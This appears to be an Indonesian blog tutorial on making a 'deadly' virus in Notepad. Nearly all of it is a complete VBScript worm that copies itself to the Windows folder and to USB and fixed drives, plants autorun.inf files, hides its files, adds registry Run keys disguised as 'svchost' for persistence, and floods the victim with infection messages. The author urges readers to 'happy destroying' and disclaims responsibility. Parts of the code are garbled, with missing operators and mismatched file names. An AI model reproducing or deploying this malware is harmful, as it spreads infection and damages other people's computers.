Cara Membuat Virus Sederhana Tapi Mematikan Dengan Notepad

Sbenernya ini sederhana sekali coba buka notepad kalian sekarang, kemudian salin script di bawah ini simpan dengan nama Nofriadi.exe.vbs

Dan jangan lupa Save as type_a buat All files

AWAS…!!!!
virus ini sangat berbahaya…
apapun yang terjadi bukan tanggungan saya…SELAMAT MENGHANCURKAN..!!!!!!!
copy script di bwah ini ke notepad

‘El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe Nofriadi.exe.vbs”
set fs = createobject(“Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size

size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\Nofriadi.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\Nofriadi.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\Nofriadi.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then
set tf=fs.getfile(flashdrive.path &”\ Nofriadi.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\ Nofriadi.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\ Nofriadi.exe.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\erwinda_putra.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,””
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″
if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

do while year(now) >= 2008
WScript.sleep 20000

msgbox “Selamat..!!,com anda terkena vrus” & vbcrlf & _
“jangan sedih yaa” & vbcrlf & _
“com anda akan hank” & vbcrlf & _
“maaf yaaa” & vbcrlf & _
vbcrlf & vbcrlf & _
” sekali lagi maaf” & vbcrlf & vbcrlf & _
” Good bye”

loop

Saya Tidak Bertanggung Jawab Jika Terjadi Sesuatu Di Com/laptop Anda :p

Jika mau Copas Sertakan sumber nya oke :)